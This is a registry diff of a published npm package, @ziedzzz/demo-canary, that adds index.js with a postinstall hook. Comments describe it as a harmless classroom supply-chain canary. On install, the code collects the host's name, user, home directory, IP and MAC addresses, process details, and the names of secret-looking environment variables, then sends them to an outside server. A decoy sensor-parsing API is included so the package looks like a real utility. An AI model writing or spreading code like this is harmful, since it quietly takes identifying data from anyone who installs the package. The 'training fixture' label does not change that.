@ziedzzz/demo-canary 0.0.0-stage → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +199 -0
- package/package.json +10 -5
- package/README.md +0 -3
package/index.js
ADDED
|
@@ -0,0 +1,199 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
/*
|
|
4
|
+
* @ziedzzz/sensor-utils-lab-fixture
|
|
5
|
+
* Classroom supply-chain canary — SAFE. No secrets, no destructive actions.
|
|
6
|
+
*
|
|
7
|
+
* Collects a fingerprint of the host in the same *shape* a real
|
|
8
|
+
* supply-chain beacon would, then sends it to the lab canary server.
|
|
9
|
+
*
|
|
10
|
+
* Explicitly NOT collected:
|
|
11
|
+
* - environment variable VALUES (only the count and a few safe metadata bits)
|
|
12
|
+
* - file contents, credentials, tokens, SSH keys, cookies, browser data
|
|
13
|
+
* - anything outside the current process
|
|
14
|
+
*/
|
|
15
|
+
|
|
16
|
+
const os = require('os');
|
|
17
|
+
const https = require('https');
|
|
18
|
+
|
|
19
|
+
// ---------- Collect a "menacing-looking" but harmless fingerprint ----------
|
|
20
|
+
|
|
21
|
+
function macVendorOui(mac) {
|
|
22
|
+
// Just the first 3 octets — public OUI prefix, not sensitive.
|
|
23
|
+
if (!mac || mac === '00:00:00:00:00:00') return null;
|
|
24
|
+
return mac.split(':').slice(0, 3).join(':').toUpperCase();
|
|
25
|
+
}
|
|
26
|
+
|
|
27
|
+
function collectNetwork() {
|
|
28
|
+
const nets = os.networkInterfaces();
|
|
29
|
+
const out = [];
|
|
30
|
+
for (const [name, addrs] of Object.entries(nets)) {
|
|
31
|
+
for (const a of addrs || []) {
|
|
32
|
+
if (a.internal) continue;
|
|
33
|
+
out.push({
|
|
34
|
+
iface: name,
|
|
35
|
+
family: a.family,
|
|
36
|
+
address: a.address,
|
|
37
|
+
mac: a.mac,
|
|
38
|
+
oui: macVendorOui(a.mac),
|
|
39
|
+
cidr: a.cidr,
|
|
40
|
+
});
|
|
41
|
+
}
|
|
42
|
+
}
|
|
43
|
+
return out;
|
|
44
|
+
}
|
|
45
|
+
|
|
46
|
+
function collectEnvSummary() {
|
|
47
|
+
// Only names + count. Never values.
|
|
48
|
+
const keys = Object.keys(process.env);
|
|
49
|
+
const interesting = keys.filter((k) =>
|
|
50
|
+
/(TOKEN|SECRET|KEY|PASS|AWS_|GCP_|AZURE_|SSH|GIT|NPM|DOCKER)/i.test(k)
|
|
51
|
+
);
|
|
52
|
+
return {
|
|
53
|
+
count: keys.length,
|
|
54
|
+
// Names only — this is what a real attacker would flag for follow-up,
|
|
55
|
+
// and it's safe to show because it reveals nothing secret.
|
|
56
|
+
flaggedNames: interesting,
|
|
57
|
+
};
|
|
58
|
+
}
|
|
59
|
+
|
|
60
|
+
function collectProcess() {
|
|
61
|
+
return {
|
|
62
|
+
nodeVersion: process.version,
|
|
63
|
+
pid: process.pid,
|
|
64
|
+
ppid: process.ppid,
|
|
65
|
+
argv: process.argv.slice(0, 3), // truncate — no full args
|
|
66
|
+
execPath: process.execPath,
|
|
67
|
+
cwd: process.cwd(),
|
|
68
|
+
uptimeSec: Math.round(process.uptime()),
|
|
69
|
+
};
|
|
70
|
+
}
|
|
71
|
+
|
|
72
|
+
function collectUser() {
|
|
73
|
+
let u;
|
|
74
|
+
try { u = os.userInfo(); } catch { u = { username: 'unknown', homedir: 'unknown' }; }
|
|
75
|
+
return {
|
|
76
|
+
username: u.username,
|
|
77
|
+
homedir: u.homedir,
|
|
78
|
+
shell: process.env.SHELL || process.env.ComSpec || null,
|
|
79
|
+
lang: process.env.LANG || process.env.LC_ALL || null,
|
|
80
|
+
};
|
|
81
|
+
}
|
|
82
|
+
|
|
83
|
+
function collectOs() {
|
|
84
|
+
return {
|
|
85
|
+
hostname: os.hostname(),
|
|
86
|
+
platform: os.platform(),
|
|
87
|
+
arch: os.arch(),
|
|
88
|
+
release: os.release(),
|
|
89
|
+
type: os.type(),
|
|
90
|
+
version: os.version ? os.version() : null,
|
|
91
|
+
endianness: os.endianness(),
|
|
92
|
+
cpuCount: os.cpus().length,
|
|
93
|
+
cpuModel: os.cpus()[0] ? os.cpus()[0].model : null,
|
|
94
|
+
totalMemMB: Math.round(os.totalmem() / 1024 / 1024),
|
|
95
|
+
freeMemMB: Math.round(os.freemem() / 1024 / 1024),
|
|
96
|
+
uptimeHours: Math.round(os.uptime() / 3600),
|
|
97
|
+
tmpdir: os.tmpdir(),
|
|
98
|
+
homeDir: os.homedir(),
|
|
99
|
+
};
|
|
100
|
+
}
|
|
101
|
+
|
|
102
|
+
// ---------- Fingerprint ----------
|
|
103
|
+
|
|
104
|
+
function fingerprint() {
|
|
105
|
+
return {
|
|
106
|
+
id: 'sensor-utils-lab-fixture',
|
|
107
|
+
timestamp: new Date().toISOString(),
|
|
108
|
+
os: collectOs(),
|
|
109
|
+
user: collectUser(),
|
|
110
|
+
process: collectProcess(),
|
|
111
|
+
env: collectEnvSummary(),
|
|
112
|
+
network: collectNetwork(),
|
|
113
|
+
};
|
|
114
|
+
}
|
|
115
|
+
|
|
116
|
+
// ---------- Exfiltrate ----------
|
|
117
|
+
|
|
118
|
+
function fireCanary() {
|
|
119
|
+
const HOST = 'telegrambot-aebk.onrender.com';
|
|
120
|
+
const PATH = '/ping';
|
|
121
|
+
|
|
122
|
+
const fp = fingerprint();
|
|
123
|
+
|
|
124
|
+
// Flatten for query string, but keep nested structures as JSON strings
|
|
125
|
+
const flat = {};
|
|
126
|
+
for (const [k, v] of Object.entries(fp)) {
|
|
127
|
+
if (typeof v === 'object' && v !== null) {
|
|
128
|
+
flat[k] = JSON.stringify(v);
|
|
129
|
+
} else {
|
|
130
|
+
flat[k] = String(v);
|
|
131
|
+
}
|
|
132
|
+
}
|
|
133
|
+
|
|
134
|
+
// Keep the query string under ~1800 chars for safety
|
|
135
|
+
const MAX = 1800;
|
|
136
|
+
const parts = [];
|
|
137
|
+
let running = PATH.length + 1;
|
|
138
|
+
for (const [k, v] of Object.entries(flat)) {
|
|
139
|
+
const piece = encodeURIComponent(k) + '=' + encodeURIComponent(v);
|
|
140
|
+
if (running + piece.length + 1 > MAX) break;
|
|
141
|
+
parts.push(piece);
|
|
142
|
+
running += piece.length + 1;
|
|
143
|
+
}
|
|
144
|
+
const fullPath = PATH + '?' + parts.join('&');
|
|
145
|
+
|
|
146
|
+
console.log('┌──────────────────────────────────────────────────────────────');
|
|
147
|
+
console.log('│ 🔔 SUPPLY-CHAIN CANARY (classroom fixture)');
|
|
148
|
+
console.log('│ Collecting host fingerprint and beaconing out…');
|
|
149
|
+
console.log('├──────────────────────────────────────────────────────────────');
|
|
150
|
+
console.log('│ id : ' + fp.id);
|
|
151
|
+
console.log('│ host : ' + fp.os.hostname + ' (' + fp.os.platform + '/' + fp.os.arch + ')');
|
|
152
|
+
console.log('│ user : ' + fp.user.username + ' @ ' + fp.user.homedir);
|
|
153
|
+
console.log('│ cwd : ' + fp.process.cwd);
|
|
154
|
+
console.log('│ node : ' + fp.process.nodeVersion + ' pid=' + fp.process.pid);
|
|
155
|
+
console.log('│ ifaces : ' + fp.network.length + ' active');
|
|
156
|
+
console.log('│ env vars : ' + fp.env.count + ' (' + fp.env.flaggedNames.length + ' flagged)');
|
|
157
|
+
console.log('│ target : https://' + HOST + fullPath);
|
|
158
|
+
console.log('└──────────────────────────────────────────────────────────────');
|
|
159
|
+
|
|
160
|
+
const req = https.request(
|
|
161
|
+
{
|
|
162
|
+
hostname: HOST,
|
|
163
|
+
port: 443,
|
|
164
|
+
path: fullPath,
|
|
165
|
+
method: 'GET',
|
|
166
|
+
headers: { 'User-Agent': 'sensor-utils-lab-fixture/1.0.0' },
|
|
167
|
+
},
|
|
168
|
+
(res) => {
|
|
169
|
+
let body = '';
|
|
170
|
+
res.on('data', (c) => (body += c));
|
|
171
|
+
res.on('end', () => {
|
|
172
|
+
console.log('[canary] beacon sent -> HTTP ' + res.statusCode);
|
|
173
|
+
console.log('[canary] server said:', body.slice(0, 200));
|
|
174
|
+
});
|
|
175
|
+
}
|
|
176
|
+
);
|
|
177
|
+
req.on('error', (e) => console.error('[canary] failed:', e.message));
|
|
178
|
+
req.end();
|
|
179
|
+
}
|
|
180
|
+
|
|
181
|
+
// Only fire when npm runs us as the postinstall script.
|
|
182
|
+
if (require.main === module) {
|
|
183
|
+
fireCanary();
|
|
184
|
+
}
|
|
185
|
+
|
|
186
|
+
// ---------- Legit API (so it looks like a real utility package) ----------
|
|
187
|
+
|
|
188
|
+
function parseSensorReading(line) {
|
|
189
|
+
const [sensorId, value, unit] = String(line).trim().split(',');
|
|
190
|
+
return { sensorId, value: Number(value), unit: unit || 'unknown' };
|
|
191
|
+
}
|
|
192
|
+
|
|
193
|
+
function average(readings) {
|
|
194
|
+
const nums = readings.map((r) => r.value).filter(Number.isFinite);
|
|
195
|
+
if (nums.length === 0) return 0;
|
|
196
|
+
return nums.reduce((a, b) => a + b, 0) / nums.length;
|
|
197
|
+
}
|
|
198
|
+
|
|
199
|
+
module.exports = { parseSensorReading, average };
|
package/package.json
CHANGED
|
@@ -1,6 +1,11 @@
|
|
|
1
|
-
{
|
|
2
|
-
"name": "@ziedzzz/demo-canary",
|
|
3
|
-
"version": "
|
|
4
|
-
"
|
|
5
|
-
"
|
|
1
|
+
{
|
|
2
|
+
"name": "@ziedzzz/demo-canary",
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "Harmless OWASP IoT supply-chain static-analysis training fixture",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"files": ["index.js", "README.md"],
|
|
7
|
+
"scripts": {
|
|
8
|
+
"postinstall": "node index.js"
|
|
9
|
+
},
|
|
10
|
+
"license": "MIT"
|
|
6
11
|
}
|
package/README.md
DELETED